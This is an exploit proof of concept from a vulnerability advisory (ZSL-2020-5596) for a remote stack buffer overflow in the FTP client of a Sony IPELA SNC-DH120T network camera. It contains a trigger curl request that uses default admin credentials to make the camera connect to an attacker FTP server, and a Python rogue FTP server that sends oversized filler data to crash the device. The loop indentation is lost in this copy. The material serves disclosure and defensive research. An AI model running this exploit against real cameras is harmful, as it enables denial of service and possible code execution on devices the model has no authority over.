Sony IPELA Network Camera Remote Stack Buffer Overflow

`#!/usr/bin/env python  
#  
#  
# Sony IPELA Network Camera (ftpclient.cgi) Remote Stack Buffer Overflow  
#  
#  
# Vendor: Sony Electronics Inc.  
# Product web page: https://pro.sony  
# Affected version: SNC-DH120T v1.82.01  
#  
#  
# Summary: IPELA is Sony's vision of the ultimate workplace, designed to revolutionize  
# the way business communicates over global IP networks. IPELA products can improve the  
# efficiency of your organization by connecting people and places with high-quality audio  
# and video. The SNC-DH120T is an indoor tamper proof, high definition (720p) minidome  
# network security camera with Electronic Day/Night settings, DEPA analysis and is ONVIF  
# compliant. It supports dual streaming of H.264, MPEG-4 and JPEG at full frame-rate.  
#  
# Desc: The vulnerability is caused due to a boundary error in the processing of received  
# FTP traffic through the FTP client functionality (ftpclient.cgi), which can be exploited  
# to cause a stack-based buffer overflow when a user issues a POST request to connect to a  
# malicious FTP server. Successful exploitation could allow execution of arbitrary code on  
# the affected device or cause denial of service scenario.  
#  
# Tested on: gen5th/1.x  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2020-5596  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5596.php  
# Fixed in 1.88.0.0: https://pro.sony/en_NL/support-resources/snc-dh120/software/mpengb00000928  
#  
#  
# 28.10.2019  
#   
  
  
# PoC:  
  
# Trigger:  
# curl 'http://10.0.0.3:5080/command/ftpclient.cgi' \  
# -H 'Connection: keep-alive' \  
# -H 'Cache-Control: max-age=0' \  
# -H 'Authorization: Basic YWRtaW46YWRtaW4=' \  
# -H 'Upgrade-Insecure-Requests: 1' \  
# -H 'Origin: http://10.0.0.3:5080' \  
# -H 'Content-Type: application/x-www-form-urlencoded' \  
# -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36' \  
# -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \  
# -H 'Referer: http://81.83.17.200:5080/en/l4/ftp/common.html' \  
# -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \  
# --data 'FtpClientFunc=on&FcServerName=10.0.0.5&FcUserName=EVIL&FcPassword=NONESO&FcPassive=off&reload=referer' \  
# --compressed \  
# --insecure  
#  
#  
  
# Observed fixed version log:  
# 2020-07-27 17:48:03 FTP client Unexpected error occurred during FTP client operation.  
#  
  
  
import socket  
  
HOST = '127.0.0.1' # 10.0.0.5  
PORT = 21  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind((HOST, PORT))  
s.listen(1)  
conn, addr = s.accept()  
print 'Connection from', addr  
while True:  
data = conn.recv(1024)  
if not data:  
break  
evil = "A" * 100000  
evil += "B" * 10000  
evil += "C" * 1000  
conn.sendall(evil+'\n')  
s.close()  
`